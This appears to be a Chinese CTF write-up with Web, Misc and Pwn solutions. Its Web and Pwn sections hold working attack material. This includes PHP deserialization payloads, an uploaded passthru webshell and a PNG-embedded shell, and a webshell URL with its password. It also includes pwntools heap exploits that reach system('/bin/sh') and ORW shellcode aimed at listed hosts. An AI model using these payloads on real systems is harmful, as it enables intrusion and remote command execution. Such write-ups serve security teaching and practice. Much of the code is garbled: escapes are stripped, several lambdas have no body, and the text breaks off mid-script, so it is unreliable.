Web
pop_master
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->BrtDix($b); //每次重启这块都要变, class.php.txt 内容也会变
先去找所有的 eval
函数名字 然后一直找调用,直到调用的函数名是 BrtDix
就结束
Exp:
<?php
include_once "class.php";
include_once "exp_1.php";
/**
*
* $arr = [
* new AAA(),
* new BBB(),
* ...
* ];
*
*/
$source = file_get_contents('class.php');
$fsource = preg_split('/' . PHP_EOL . '/', $source);
$evalfuncarr = [];
$popchain = [];
$i = [];
function isfuncblacklist($fname) {
$blacklist = ['MISVgg'];
foreach($blacklist as $b) {
if($b == $fname) {
return true;
}
}
return false;
}
foreach ($arr as $a) {
$methods=get_class_methods($a);
foreach ($methods as $method) {
$func = new ReflectionMethod($a, $method);
if(isfuncblacklist($func->name)) {
continue;
}
$f = $func->getFileName();
$start_line = $func->getStartLine() - 1;
$end_line = $func->getEndLine();
$length = $end_line - $start_line;
$body = implode(PHP_EOL, array_slice($fsource, $start_line, $length));
if(strstr($body, 'eval')){
array_push($evalfuncarr, array('class'=>$a, 'func'=>$method));
}
}
}
function getcaller($funcname) {
global $arr, $fsource, $blacklist;
foreach($arr as $a) {
$methods=get_class_methods($a);
foreach ($methods as $method) {
$func = new ReflectionMethod($a, $method);
if($func->name === $funcname) {
continue;
}
if(isfuncblacklist($func->name)) {
continue;
}
$f = $func->getFileName();
$start_line = $func->getStartLine() - 1;
$end_line = $func->getEndLine();
$length = $end_line - $start_line;
$body = implode(PHP_EOL, array_slice($fsource, $start_line, $length));
if(strstr($body, $funcname)){
return array(
'class' => $a,
'func' => $method
);
}
}
}
return NULL;
}
$finded = false;
foreach($evalfuncarr as $a) {
if($finded == true){
break;
}
$ret = $a;
$popchain = [];
while(1) {
$ret = getcaller($ret['func']);
if($ret == NULL) {
array_pop($popchain);
break;
}
array_push($popchain, $ret);
printf("r[-] %s", $ret['func']);
// BrtDix
if($ret['func'] == 'BrtDix') {
printf("n");
var_dump($popchain);
foreach($popchain as $p) {
printf("%s::%s -> ", get_class($p['class']), $p['func']);
};
// valid
valid($a, $popchain);
// $finded = true;
break;
}
}
}
function valid($evalfunc, $chain) {
$code = "<?phpn";
$code .= "include_once 'class.php';";
$code .= "$e = new ".get_class($evalfunc['class'])."();n";
for ($i=0; $i < sizeof($chain); $i++) {
$tmp = $chain[$i];
$propname = array_keys(get_object_vars($tmp['class']))[0];
$t = $i - 1;
$code .= "$a{$i} = new ".get_class($tmp['class'])."();n";
if($i == 0) {
$code .= "$a{$i}->{$propname} = $e;n";
} else {
$code .= "$a{$i}->{$propname} = $a{$t};n";
}
}
$m = sizeof($chain)-1;
$code .= "$a{$m}->BrtDix('system(id);// ');";
echo $code;
echo "nn";
file_put_contents("test_".$evalfunc['func'].".php", $code);
}
一边爆破,一边本地跑一下结果,如果有执行 system(id);
就说明这个链能用(图是之前第一次开的环境的)
[强网先锋]赌徒
/www.zip
有源码 反序列化直接读
O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":2:{s:8:"filename";s:5:"/flag";s:1:"a";r:4;}}}}
Hard_Penetration
shiro550
AntSword WebShell:
http://eci-2ze47ufy58dkmu35o9ys.cloudeci1.ichunqiu.com:8888/ateam
ateam
shiro 用户是 ctf 而 /flag
是 www-data 用户的 600 权限
发现本地的 8005 端口上有个 web 服务
挂上内网 socks5访问 http://127.0.0.1:8005
https://github.com/IsCrazyCat/demo-baocms-v17.1/
http://www.thinkphp.cn/code/253.html
[强网先锋]寻宝
source1:
POST:
ppp[number1]=9999a&ppp[number2]=99e9&ppp[number3]=kaka0723&ppp[number4]=0e00000&ppp[number5]=[NULL]
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
source2: mac下直接搜内容。。
EasyWeb
files里找到文件正确的path,查看hint
提示扫端口,扫描到36842 http://47.104.136.46:36842/
SQLMap 登录处一把梭,拿到 admin 密码
admin
99f609527226e076d668668582ac4420
扫目录
[21:08:20] 307 - 0B - /account -> http://47.104.137.239:36842/account/login
[21:08:20] 307 - 0B - /account/ -> http://47.104.137.239:36842/account/login
[21:08:20] 200 - 2KB - /account/login
[21:08:22] 403 - 282B - /application
[21:08:22] 403 - 282B - /application/configs/application.ini
[21:08:22] 403 - 282B - /application/logs/
[21:08:22] 403 - 282B - /application/cache/
[21:08:22] 403 - 282B - /application/
[21:08:23] 403 - 282B - /cgi-bin/
[21:08:24] 200 - 594B - /composer.json
[21:08:24] 200 - 7KB - /contributing.md
[21:08:24] 307 - 0B - /dashboard -> http://47.104.137.239:36842/account/login
[21:08:25] 307 - 0B - /file -> http://47.104.137.239:36842/account/login
[21:08:25] 307 - 0B - /file/ -> http://47.104.137.239:36842/account/login
[21:08:26] 307 - 0B - /index.php -> http://47.104.137.239:36842/account/login
[21:08:29] 403 - 282B - /server-status/
[21:08:29] 403 - 282B - /server-status
[21:08:29] 301 - 326B - /static -> http://47.104.137.239:36842/static/
[21:08:30] 403 - 282B - /system
[21:08:30] 403 - 282B - /system/
[21:08:30] 403 - 282B - /system/cache/
[21:08:30] 403 - 282B - /system/error.txt
[21:08:30] 403 - 282B - /system/cron/cron.txt
[21:08:30] 403 - 282B - /system/expressionengine/config/config.php
[21:08:30] 403 - 282B - /system/expressionengine/config/database.php
[21:08:30] 403 - 282B - /system/logs/
[21:08:30] 403 - 282B - /system/storage/
[21:08:30] 403 - 282B - /system/log/
[21:08:30] 301 - 326B - /upload -> http://47.104.137.239:36842/upload/
[21:08:30] 200 - 131B - /upload/
访问 /file
路由上传文件
.htaccess
AddHandler php5-script .ant
shell.ant
<?php passthru($_GET['cmd']);
之后访问 shell.ant
写 php webshell
/hint
There is no need to raise weights through PWN(but if you can, just do it!). Try to collect some information.
直接 jexboss 一把梭
WhereIsUWebShell
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>
读文件 exp.php
<?php
class myclass{}
class Hello{ public $qwb;}
$a= new Hello();
$a->qwb = "/var/www/html/e2a7106f1cc8bb1e1318df70aa0a3540.php";
$b = new myclass();
$c = urlencode(serialize([$b, $a]));
$cookie = str_replace("a%3A2", "a%3A3", $c);
$req = curl_init("http://eci-2ze1vm55dfrbg963rkw5.cloudeci1.ichunqiu.com:80/");
curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
curl_setopt($req, CURLOPT_HTTPHEADER, array(
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Cache-Control: no-cache",
"Upgrade-Insecure-Requests: 1",
"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Connection: close",
"Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
));
curl_setopt($req, CURLOPT_COOKIE,"ctfer=".$cookie);
$result = curl_exec($req);
echo "Status code: ".curl_getinfo($req, CURLINFO_HTTP_CODE)."n";
echo "Response body: ".$result."n";
curl_close($req);
e2a7106f1cc8bb1e1318df70aa0a3540.php
这个文件里面的 GET 参数每次启动环境都会变
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);
if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
bff139fa05ac583f685a523ab3d110a0.php
<?php
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}
?>
45b963397aa40d4a0063e0d85e4fe7a1.php
<?php
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
?>
存在 open_basedir, flag 名字不是 /flag
File(/etc/passwd) is not within the allowed path(s): (/var/www/html:/tmp)
file_get_contents(/flag): failed to open stream: No such file or directory
可以利用 ../../ 读到真实的 /tmp 目录下的文件
https://xz.aliyun.com/t/2657#toc-3
https://github.com/hxer/imagecreatefrom-/tree/master/png/poc
用这个脚本生成 1.png 上传,crop 之后 php 代码还会保留
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
Shell:
<?=$_GET[0]($_POST[1]);?>
利用 e2a7106f1cc8bb1e1318df70aa0a3540.php
中的 include 去包含,由于 PNG 方法有 is_file 的检查,所以没法用 php://filter
去让 php crash 留住临时文件,我们得利用 index.php 中的 file_get_content
去 crash PHP
用 index.php 里反序列化触发 php7 Segment Falt 让临时文件留在 /tmp 下 所以目标的 php <= 7.0.9
php://filter/string.strip_tags/resource=passwd·
然后 include 触发RCE
找到了 flag 文件,但是没权限读
/l1b/000912eb/389a2c68/3e3e2851/b6620b41/64015faa/Fl444gggde7bf35d
400 权限,找一下suid 文件,读 flag
Misc
BlueTeaming
内存取证,根据题意直接找注册表
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/Share/memory.dmp)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80002be3120L
Number of Processors : 4
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002be5000L
KPCR for CPU 1 : 0xfffff88002f00000L
KPCR for CPU 2 : 0xfffff88002f7e000L
KPCR for CPU 3 : 0xfffff880009b1000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2020-11-26 13:00:41 UTC+0000
Image local date and time : 2020-11-26 22:00:41 +0900
解压出来有个memory.dmp
,通过volatility
插件dumpregistry
提取出来注册表
在放入windows registry recovery
查看注册表,手翻出路径HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCommunication
volatility 工具的学习文档https://wiki.wgpsec.org/knowledge/ctf/Volatility.html
注册表位置:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCommunication
ISO1995
先改后缀成 iso 然后解包发现很多 flag 开头的文件,每个 1byte,然后按顺序拼接以后的数据时乱码解不开,认真阅读 ISO1995 标准,发现文件时间那里不对
随便看了几个文件,发现分钟和秒钟都没有超过 FF,猜测这里是不是有隐写
艹。这是文件序号。直接写脚本提取拼接
之后根据文件序号拼接文件,完整处理脚本
#!/usr/bin/env python3
#codeing: utf8
def read_flag_file(file_name):
with open("ISO1995\" + file_name, "r") as f:
data = f.read()
return data
with open("iso1995.iso", "rb") as f:
iso_data = f.read()
file_list = []
while 1:
temp_index = iso_data.find(b"xffxffxffxff")
if temp_index < 0:
# 跑完了就结束
break
# 文件序号。相对xFFxFFxFFxFF偏移0字节,长度 2 byte
file_num_start = temp_index + 4
file_num_stop = file_num_start + 2
file_num = iso_data[file_num_start:file_num_stop].hex()
# 添加到列表
file_list.append(f"{file_num}")
# 把处理过的数据干掉, 每个文件的数据中间偏移 22 byte
iso_data = iso_data[temp_index + 2 :]
print(file_list)
# 拼接数据
data = ""
for file_data in file_list:
file_num = int(file_data.split(",")[0],16)
file_name = "flag_f" + str(file_num).zfill(5)
data += read_flag_file(file_name)
print(data)
CipherMan
file 查看发现是 MBR
通过 memory 提取出一个 txt,在把它 dump 下来
PS C:Userswolf_Desktop强网> .volatility_2.6_win64_standalone.exe -f memory --profile=Win7SP1x86_23418 filescan | findstr "txt"
Volatility Foundation Volatility Framework 2.6
0x000000007e02af80 8 0 -W---- DeviceHarddiskVolume2UsersRockAndRollDesktopBitLocker ??? ??168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt
0x000000007e7c7948 1 1 -W-rw- DeviceHarddiskVolume2UsersROCKAN~1AppDataLocalTempFXSAPIDebugLogFile.txt
root@ubuntu:~/qwb# vol.py -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./ -u
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x7e02af80 None DeviceHarddiskVolume2UsersRockAndRollDesktopBitLocker 복구 키 168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt
提出来之后我们 cat 一下发现 bitlocker 的恢复密钥
恢复密钥:221628-533357-667392-449185-516428-718443-190674-375100
进行 bitlocker 分区解密操作 使用工具 diskgenius 加载 Secret
解锁之后发现一个文件 README,里面的内容就是 flag(早看见flag了,但没想到是这种格式….还以为后续还有别的东西)
ExtremelySlow
流量中的包头序号即为这个字节的位置
wireshark 中设置规则http.response.code == 206
之后提取所有内容
然后再 txt 里把没用的全部删除,留下序号和 1byte,按序号拼接文件
将文件提取出来之后看起来像是一个pyc的二进制
具体看群文件Misc_ExtremelySlow.bin
将头部第一个字节从6F改为61后发现可以运行,反编译的话好像是有部分代码没法反编译出来
反编译出字节码,然后手撸反编译
import dis
import marshal
with open('123.pyc', 'rb') as f:
f.seek(16)
dis.dis(marshal.load(f))
反编译之后看到是一个 RC4,根据逻辑得到 key,然后开始对其中各项解密,但是由于不知道 p 的具体值,先给 26个’a’填充一下,看看 t 解密是啥,得到
但是还是没有 flag 的信息,之后想到可能是 pyc 隐写,用工具解,发现报错,不确定是不是该版本 pyc 文件头已经有 16 字节还是怎么了,https://www.anquanke.com/post/id/185481
里说头是 8 字节,工具里用的是 12 字节,但是都报错,后来发现 16 字节不会报错,于是改工具,还会报 py3 的一个编码错误,nop 掉就好,最后得到
直接把隐写出来的数据丢到 pyc 反编译出来的东西里,拿到 flag
import py_compile
import dis
import marshal
import sys
from hashlib import sha256
w = b'xf6xefx10Hxa9x0fx9fxb5x80xc1xdxaexd3x03xb2x84xc2xb4x0exc8xf3<x151x19nx8f' #'Give me the mystery string :'
e = b'$r9xa3x18xddWxc9x97xf3xa7xa8R~' # b'You are wrong!'
b = b'geo' #一部分密钥
s = b'}xce`xbejxa2x120xb5x8ax94x14{xa3x86xc8xc7x01x98xa3_x91xd8x82T*Vxabxe0xa1x141' #sha256
t = b"Q_xe2xf8x8cx11M}'<@xceTxf6?_mxa4xf8xb4xeaxcaxc7:xb9xe6x06x8bxebxfabHx85xJ3$xddxdexb6xdcxa0xb8bx961xb7x13=x17x13xb1" #b'Congratulations! Now you should now what the flag is'
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p,stream):
# (stream)
# xor =
# bytes(map(stream, ))
return bytes(map(lambda x:x ^ stream.__next__(), p))
# n = {2:115, 8:97, 11:117, 10:114}
# x:x^n[x] ->
m.update({x:x^n[x] for x in n})
#m = m.update(( (i.bit_count(), i) for i in b))
mm = {5:103,4:101,6:111}
m.update(mm)
stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))
# print welcome banner...
# print(stream)
stream=RC4(list(map(lambda x: x[1],sorted(m.items()))))
banner = xor(w, stream).decode()
wrong = xor(e, stream).decode()
p = b'xe5n2xd6"xf0}Ixb0xcdxa2x11xf0xb4Ux166xc5oxdbxc9xeadx04x15b'
c = xor(p, stream)
print(xor(t, stream))
print(c)
Eztime
https://github.com/jschicht/LogFileParser/
找到解码$LogFile
的工具
得到经过解码的 excel
根据 http://www.doc88.com/p-1116932821013.html
得到“当文件最初生成时,时间会被统一设置成文件产生的时间”
因此至少需要【CreateTime】【Modified Time】【MFT_Modified Time】【Access Time】中其中一项跟其他不同的文件
0x000918E8|148|||2171677|0|UpdateResidentValue|UpdateResidentValue|56|{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png|$STANDARD_INFORMATION||||||||0000-00-00 00:00:00|2021-05-20 15:59:45.1738091|2021-05-20 15:59:45.1738091|2021-05-22 16:28:34.0224820|archive|0|0|0|264|0|-1|||||||||||||||||||64|64|0x00000000|1|0x00000018|0x0000|0x0018|0x0001|32|0x0000|0x00000025|0x0001557A|-1|0|0
发现时间不一致,判定{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png
为存在问题的文件
Pwn
baby_diary
漏洞点:
往堆块里写的时候会在最后多写半个字节,其计算方式就是: 累加所有字节之和,然后再 16 进制下逐位相加,直到小于0xf。
题目并没有限制申请的 size 大小,所以可以利用这半个字节的溢出进行off by null的利用,给的 libc 是 2.31 的,所以这里要绕过 prev_size 和 unlink 的检查,其中为了绕过 unlink 检查,要伪造 fd 和 bk 指针,且需要指针结尾是’x00’
,所以预先申请的堆指针要恰好对其到0x100。
Exp 如下:
from pwn import *
import sys
pc="./baby_diary"
reomote_addr=["8.140.114.72",1399]
elf = ELF(pc)
context.binary=pc
p=process(pc,env={"LD_PRELOAD":"./libc-2.31.so"})
# p = remote(reomote_addr[0],reomote_addr[1])
ru = lambda
sn = lambda
rl = lambda
sl = lambda
rv = lambda
sa = lambda
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print(' 33[1;31;40m%20s-->0x%x 33[0m'%(s,addr))
def menu(choice):
ru(">> ")
sl(str(choice))
def add(size,c='a'):
menu(1)
ru("size: ")
sl(str(size))
ru("content: ")
sl(c)
def dele(idx):
menu(3)
ru("index: ")
sl(str(idx))
def show(idx):
menu(2)
ru("index: ")
sl(str(idx))
ru("content; ")
for i in range(7):
add(0x38-1,'padding') # 0-6
add(0x98-1,"padding") #7
add(0xb40, "padding") #8
add(0x10, "padding") #9
dele(8)
add(0x1000, '') #
add(0x38-1, '' ) #
##-------------------------------------------##
add(0x38-1,'padding') #11
add(0x80,'padding') #12
add(0x38-1, 'a') #13
add(0x38-1, 'b') #14
add(0x38-1, 'c') #15
add(0x38-1, 'd') #16
for i in range(7):
dele(i)
dele(15) #
dele(13) #0x600
# clear tcache
for i in range(7): # 0-6
add(0x38-1, '')
add(0x420,'padding') #13
add(0x38-1,p64(0x50)) #15 0x600
##-------------------------------------------##
dele(10)
add(0x38-1,'x00'*7+'x03'+p64(0x201))
add(0x38-1, 'clear')
for i in range(7):
dele(i)
dele(11)
dele(10)
for i in range(7):
add(0x38-1, '')
##-------------------------------------------##
add(0x38-1, '')
dele(16)
add(0x38-1,'x00'*0x37) #11
dele(11)
add(0x38-1,'x00'*0x2f+'x20')
dele(13)
add(0x30)
add(0x20)
add(0x30)
show(12)
libc_base = ru('x7f')[-6:].ljust(8,'x00')- 0x1ebbe0
dele(17)
dele(15)
sys_addr = 0x55410 + libc_base
free_hook = 0x1eeb28 +libc_base
add(0xa0,'x00'*0x88+p64(0x41)+p64(free_hook))
add(0x30,'/bin/shx00') #17
add(0x30,p64(sys_addr)) #19
dele(17)
p.interactive()
babypwn
泄露地址时会有加密,所以可以用 z3 解密,得到 libc 基地址,然后是 libc2.27 条件下的 0ff by null 利用,实现 chunk overlap,最后用 free_hook+setcontext53
的方式,用 ORW 读出 flag
import os
import sys
import subprocess
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
elf_addr = "./babypwn"
pro_libc = "./libc.so.6"
# sh = remote("39.105.130.158",8888)
sh = process(elf_addr)
elf = ELF(elf_addr)
def add(size):
sh.recvuntil(">> n")
sh.sendline("1")
sh.recvuntil("size:n")
sh.sendline(str(size))
def show(idx):
sh.sendlineafter(">> n","4")
sh.sendlineafter("index:n",str(idx))
def edit(idx,content):
sh.sendlineafter(">> n","3")
sh.sendlineafter("index:n",str(idx))
sh.sendlineafter("content:n",content)
def free(idx):
sh.sendlineafter(">> n","2")
sh.sendlineafter("index:n",str(idx))
def encode(a1):
d1 = (32*a1)&0xffffffff
d2 = d1^a1
d3 = d2>>17
d4 = ((d2 ^ d3) << 13)&0xffffffff
a1 ^= d1 ^ d3 ^ d4
d1 = (32*a1)&0xffffffff
d2 = d1^a1
d3 = d2>>17
d4 = ((d2 ^ d3) << 13)&0xffffffff
a1 ^= d1 ^ d3 ^ d4
return hex(a1)[2:]
def decode_1(a):
log.progress("decode_1")
for i in range(0x0, 0xff):
head = chr(i)+"x7fx00x00"
if encode(u32(head))==str(a, encoding='utf-8'):
success("ok~ decode_1")
return head
def decode_2(a):
log.progress("decode_2")
for i1 in range(0x0, 0xff):
for i2 in range(0, 0xff):
for i3 in range(2, 0xff, 0x10):
last = "x10"+chr(i3)+chr(i2)+chr(i1)
if encode(u32(last)) ==str(a, encoding='utf-8'):
success("ok~ decode_2")
return last
# off by null; overlaping 堆块向前合并
add(0xf8) #0
for i in range(7): #1-7
add(0xf8)
add(0x108) #8
add(0x108) #9
for i in range(1,8): #1-7
free(i)
free(0)
edit(8, b"a"*0x108)
edit(8, b"b"*0x100+p64(0x910))
edit(9, b"x00"*0xf8+p64(0x11))
free(9)
for i in range(7): # 0-6
add(0xf8)
add(0x200) # idx_7 have idx_0-1
show(7)
a2 = sh.recv(8)
sh.recvuntil("n")
a1 = sh.recv(8)
success("a1 => %s",a1)
success("a2 => %s",a2)
print(encode(0x7fff))
head = decode_1(a1)
last = decode_2(a2)
main_arena1488 = u64(last+head)
success("main_arena96 => 0x%x",main_arena1488)
libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+libc.sym["setcontext"]
free(5)
free(6)
payload = flat([
"x00"*0xf8,
p64(0x101)+p64(free_hook-8)
])
edit(7, payload)
add(0xf8)
add(0xf8)
shellcode = """
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
/* call open('rsp', 'O_RDONLY', 0) */
push 2 /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40 /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
"""
payload2 = flat(["/bin/shx00",
p64(setcontext + 53),
p64(free_hook + 0x10),
asm(shellcode)
])
edit(6, payload2)
frame = SigreturnFrame()
frame.rsp = free_hook + 0x8
frame.rdi = (free_hook) & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base+libc.sym['mprotect']
edit(7, bytes(frame))
free(7)
sh.interactive()
pipeline
这个题相当于一个链表机制,edit 有 realloc,可以借助 realloc 来完成 free,append 处存在整数溢出。
泄露 main_area+96
地址
将free_hook
写入chunk
中
在free_hook
里写入system
写入/bin/sh
进入 realloc,free 之后 getshell
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","new-window"]
p = remote("59.110.173.239", 239)
#p = process("./pipeline"l)
libc = ELF("./libc-2.31.so")
def new():
p.recvuntil(">> ")
p.sendline("1")
def edit(index, size):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("offset: ")
p.sendline(str(0))
p.recvuntil("size: ")
p.sendline(str(size))
def destroy(index):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
def append(index, size, data):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("data: ")
p.sendline(data)
def show(index):
p.recvuntil(">> ")
p.sendline("5")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("data: ")
new()
new()
new()
edit(0,0x68)
edit(1,0x68)
edit(0,0)
edit(1,0)
edit(1,0x68)
edit(0,0x450)
edit(1,0x78)
edit(0,0)
edit(0,0x18)
show(0)
#leak libc
libc_base = u64(p.recv(6).ljust(8,b"x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400
#getshell
new()
payload = b'b'*0x18 + p64(0x21)
payload += p64(libc_base + libc.symbols["__free_hook"])
payload += p32(0) + p32(0x100)
append(0, 0x80000100, payload)
#gdb.attach(p)
append(3, 0x20, p64(libc_base + libc.symbols["system"]))
append(0, 0x20, '/bin/shx00')
edit(0,0)
log.info("libc_base------------------>"+hex(libc_base))
p.interactive()
[强网先锋]orw
bss 段上的堆结构体可以越界,覆盖到 free 的 got 表;自定义的 read 函数里面当 size=0 时可以写任意长度,
from pwn import *
context.log_level='debug'
context.arch='amd64'
remote_addr=["39.105.131.68",12354]
def add(index,size,content):
p.recvuntil('choice >>n')
p.sendline('1')
p.recvuntil('index:n')
p.sendline(str(index))
p.recvuntil('size:n')
p.sendline(str(size))
p.recvuntil('content:n')
p.sendline(content)
shellcode='''
xor rdi,rdi
mov rdi,0x67616c662f
push rdi
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi, rax
mov rsi,rsp
mov rdx, 0x50
mov rax,0
syscall
mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall
mov rdi,0
mov rax,60
syscall
'''
shellcode = asm(shellcode)
print shellcode
#p=process('./pwn_patch')
p=remote(remote_addr[0],remote_addr[1])
add(-25,0,shellcode) #0x0000555555757160
p.sendline('4')
#gdb.attach(p)
p.sendline('0')
p.interactive()
[强网先锋]no_output
前面要绕过一些东西,后面就是简单的 32 位下的 dl_resolve 利用;
先是要 bss 段上的溢出,把 src 填满 0x20 字节,后面 strcpy 时会在结尾覆盖’x00‘
,把 fd 覆盖成 0,后面即可输入。
然后是漏洞点函数的触发,这里用了 signal 机制里面的 SIGFPE,并且分母不为0,可以构造分子为无符号最小整数,分母为**-1**,相除时发生溢出,即可调用目标函数
from pwn import *
import sys
pc="./test"
reomote_addr=["39.105.138.97",1234]
elf = ELF(pc)
libc = elf.libc
ld_so=""
context.binary=pc
p=process(pc)
# p = remote(reomote_addr[0],reomote_addr[1])
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('x7f')[-6:].ljust(8,'x00'))
rv6 = lambda : u64(rv(6)+'x00'*2)
def lg(s,addr):
print(' 33[1;31;40m%20s-->0x%x 33[0m'%(s,addr))
sleep(0.1)
sn("x00"*4)
sleep(0.1)
sn("a"*0x20)
sleep(0.1)
sl("hello_boy")
sleep(0.3)
sl("-2147483648") #soul
sleep(0.1)
sl("-1") #egg
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print raw_rop
sn(cyclic(0x4c) + raw_rop)
sn(dlresolve.payload)
p.interactive()
[强网先锋]shellcode
题目逻辑很简单,输入 shellcode 然后执行,但是禁了 open 和 write,前者可以切换到 32 位下进行利用,后者可以通过用逐字节爆破的方式代替 write。
from pwn import *
file_path = "./shellcode"
elf = ELF(file_path)
debug = 0
